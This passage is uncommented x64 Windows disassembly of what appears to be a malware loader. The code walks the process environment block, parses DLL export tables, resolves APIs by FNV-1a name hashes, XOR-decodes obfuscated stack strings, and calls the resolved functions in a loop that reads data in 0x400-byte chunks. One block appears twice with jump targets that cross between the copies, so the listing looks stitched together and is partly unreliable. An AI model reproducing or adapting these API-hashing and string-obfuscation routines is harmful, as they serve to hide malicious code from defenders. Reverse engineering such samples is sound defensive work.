pxor xmm0, xmmword [rbp + 0x14b0]
movdqa xmmword [rbp + 0x1470], xmm0
movdqa xmm1, xmmword [rbp + 0x1480]
pxor xmm1, xmmword [rbp + 0x14c0]
movdqa xmmword [rbp + 0x1480], xmm1
xor r15d, r15d
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r15b
lea rax, [rbp + 0x1450]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140097c40
lea rdx, [rbp + 0x1450]
lea rcx, [rbp - 0x80]
call fcn.14000c110
nop
call fcn.140099df4
mov dword [rbp + 0x1424], edi
mov dword [rbp + 0xa4], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xa4], eax
inc rdx
cmp rdx, 0x270
jb 0x140097c70
mov dword [rbp + 0xa0], 0x270
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
add rdx, qword [rbp - 0x70]
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r9, qword [rbp - 0x80]
lea rax, [rbp + 0xa0]
mov qword [rbp], rax
mov eax, 0x40
mov r8, rbx
nop
dec rax
shr r8, 1
cmp r8, rdi
ja 0x140097cd0
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r8
lea r8, [rbp]
mov rcx, r9
call fcn.140094740
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov r8d, 0x10
cmp qword [rbp - 0x70], r8
cmovb r8, qword [rbp - 0x70]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.14000c110
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140097d65
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097d60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009879e
call fcn.14009aa1c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae r8, qword [rbp - 0x20]
movabs rax, 0xf57fca1216cac225
mov qword [rbp + 0x1430], rax
movabs rax, 0x46da2c07098dd40e
mov qword [rbp + 0x1438], rax
movabs rax, 0x30ab605e161c313
mov qword [rbp + 0x1440], rax
movabs rax, 0x14f24d163fa9c340
mov qword [rbp + 0x1448], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x20], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r14
movdqa xmm0, xmmword [rbp + 0x1430]
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x1430], xmm0
movdqa xmm1, xmmword [rbp + 0x1440]
pxor xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x1440], xmm1
mov r9d, 0x1010
lea rdx, [rbp + 0x1430]
xor ecx, ecx
call rsi
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140097e62
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097e5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400987a4
call fcn.14009aa1c
mov rdi, qword [rsp + 0x50]
mov qword [rdi], r15
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
nop dword [rax]
inc rbx
cmp byte [r15 + rbx], 0
jne 0x140097e80
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.14000c110
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140097ed8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097ed3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140098738
call fcn.14009aa1c
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140097f29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097f24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009874a
call fcn.14009aa1c
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
mov rcx, r12
jmp 0x140096ed1
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov esi, dword [rcx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x140097fc6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140097fc6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140097fc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140097fa0
cmp r8d, 0xb0d89b65
je 0x140097fcb
test r9d, r9d
jne 0x140097f80
mov rax, qword [rax]
jmp 0x140097f50
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r15
call r10
test eax, eax
jne 0x140098531
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140098086
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140098086
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140098081
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140098060
cmp r8d, 0x23a979e4
je 0x14009808b
test r9d, r9d
jne 0x140098040
mov rax, qword [rax]
jmp 0x140098010
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov esi, dword [rcx + rax*4]
add rsi, r10
movabs rax, 0xd84bac253dfbf221
mov qword [rbp + 0x1450], rax
movabs rax, 0x73f8422d2baffa29
mov qword [rbp + 0x1458], rax
movabs rax, 0x3429c035d253e231
mov qword [rbp + 0x1460], rax
movabs rax, 0x72e54c032fadea39
mov qword [rbp + 0x1468], rax
movabs rax, 0xcb7a6e0bb4a1d807
mov qword [rbp + 0x1470], rax
movabs rax, 0x4eb45013be85c00f
mov qword [rbp + 0x1478], rax
movabs rax, 0xb5bb9c519169c817
mov qword [rbp + 0x1480], rax
movabs rax, 0xc75910591e2b8655
mov qword [rbp + 0x1488], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x1490], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x1498], rax
movabs r13, 0x6c7e96608600b060
mov qword [rbp + 0x14a0], r13
movabs r14, 0x148028604dccb060
mov qword [rbp + 0x14a8], r14
movabs rax, 0xa5170260dec8b060
mov qword [rbp + 0x14b0], rax
movabs rax, 0x38c12460ccf4b060
mov qword [rbp + 0x14b8], rax
movabs rax, 0x8188ae60eb10b060
mov qword [rbp + 0x14c0], rax
movabs rax, 0xc7592060261cb060
mov qword [rbp + 0x14c8], rax
movdqa xmm0, xmmword [rbp + 0x1450]
pxor xmm0, xmmword [rbp + 0x1490]
movdqa xmmword [rbp + 0x1450], xmm0
movdqa xmm1, xmmword [rbp + 0x1460]
pxor xmm1, xmmword [rbp + 0x14a0]
movdqa xmmword [rbp + 0x1460], xmm1
movdqa xmm0, xmmword [rbp + 0x1470]
pxor xmm0, xmmword [rbp + 0x14b0]
movdqa xmmword [rbp + 0x1470], xmm0
movdqa xmm1, xmmword [rbp + 0x1480]
pxor xmm1, xmmword [rbp + 0x14c0]
movdqa xmmword [rbp + 0x1480], xmm1
xor r15d, r15d
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r15b
lea rax, [rbp + 0x1450]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140098240
lea rdx, [rbp + 0x1450]
lea rcx, [rbp - 0x80]
call fcn.14000c110
nop
call fcn.140099df4
mov dword [rbp + 0x1424], edi
mov dword [rbp + 0xa4], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xa4], eax
inc rdx
cmp rdx, 0x270
jb 0x140098270
mov dword [rbp + 0xa0], 0x270
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
add rdx, qword [rbp - 0x70]
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r9, qword [rbp - 0x80]
lea rax, [rbp + 0xa0]
mov qword [rbp], rax
mov eax, 0x40
mov r8, rbx
nop
dec rax
shr r8, 1
cmp r8, rdi
ja 0x1400982d0
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r8
lea r8, [rbp]
mov rcx, r9
call fcn.140094740
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov r8d, 0x10
cmp qword [rbp - 0x70], r8
cmovb r8, qword [rbp - 0x70]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.14000c110
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140098365
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140098360
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400987aa
call fcn.14009aa1c
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae r8, qword [rbp - 0x20]
movabs rax, 0xf57fca1216cac225
mov qword [rbp + 0x1430], rax
movabs rax, 0x46da2c07098dd40e
mov qword [rbp + 0x1438], rax
movabs rax, 0x30ab605e161c313
mov qword [rbp + 0x1440], rax
movabs rax, 0x14f24d163fa9c340
mov qword [rbp + 0x1448], rax
movabs rax, 0x900cea6079b8b060
mov qword [rbp + 0x20], rax
movabs rax, 0x23b70c6067e4b060
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r14
movdqa xmm0, xmmword [rbp + 0x1430]
pxor xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x1430], xmm0
movdqa xmm1, xmmword [rbp + 0x1440]
pxor xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x1440], xmm1
mov r9d, 0x1010
lea rdx, [rbp + 0x1430]
xor ecx, ecx
call rsi
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140098462
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009845d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400987b0
call fcn.14009aa1c
mov rdi, qword [rsp + 0x50]
mov qword [rdi], r15
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
nop dword [rax]
inc rbx
cmp byte [r15 + rbx], 0
jne 0x140098480
mov r8, rbx
xor edx, edx
mov rcx, rdi
call fcn.14000c110
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x1400984d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400984d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140098738
call fcn.14009aa1c
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140097f29
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140097f24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009874a
jmp 0x140097f24
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], r13b
mov eax, edi
mov dword [rsp + 0x40], eax
nop dword [rax + rax]
test eax, eax
je 0x14009868e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov esi, dword [rcx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x1400985e6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400985e6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
add r9d, edi
lea rcx, [r11 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r11
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400985e1
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400985c0
cmp r8d, 0x960cb4c6
je 0x1400985eb
test r9d, r9d
jne 0x1400985a0
mov rax, qword [rax]
jmp 0x140098570
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rsi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rbp + 0xa0]
mov rcx, r15
call r10
mov r14d, eax
mov esi, dword [rsp + 0x40]
mov rdx, qword [rbp - 0x70]
mov r8, qword [rbp - 0x68]
mov rcx, r8
sub rcx, rdx
cmp rsi, rcx
ja 0x140098665
lea rcx, [rdx + rsi]
mov qword [rbp - 0x70], rcx
lea rbx, [rbp - 0x80]
cmp r8, 0x10
cmovae rbx, qword [rbp - 0x80]
add rbx, rdx
mov r8d, esi
lea rdx, [rbp + 0xa0]
mov rcx, rbx
call fcn.1400b76e0
mov byte [rsi + rbx], 0
jmp 0x140098680
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0xa0]
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.1400424c0
test r14d, r14d
je 0x14009868e
mov eax, dword [rsp + 0x40]
jmp 0x140098550
mov rbx, qword [rsp + 0x50]
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rbx + 0x10], xmm1
mov r8, qword [rbp - 0x28]
cmp r8, 8
jb 0x1400986bc
inc r8
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x40]
call fcn.140009a50
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov r8, qword [rbp - 0x48]
cmp r8, 8
jb 0x1400986e7
inc r8
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140009a50
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r13w
mov rcx, r12
call fcn.1400096e0
nop
mov rcx, qword [rsp + 0x48]
call fcn.1400096e0
mov rax, rbx
mov rcx, qword [rbp + 0x14d0]
xor rcx, rsp
call fcn.14009a9c0
mov rbx, qword [rsp + 0x1638]
add rsp, 0x15e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400c88c8
nop
call fcn.140001790
nop
call fcn.140001790
nop
call fcn.1400c88c8
nop
call fcn.140001830
int3
call fcn.1400c88c8
nop
call fcn.1400c88c8
int3
call fcn.1400c88c8
nop
call fcn.140001830
nop
call fcn.1400c88c8
int3
call fcn.140001830
nop
call fcn.140001830
int3
call fcn.1400c88c8
nop
call fcn.1400c88c8
int3
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
int3
call fcn.1400c88c8
int3
call fcn.1400c88c8
int3
call fcn.1400c88c8
int3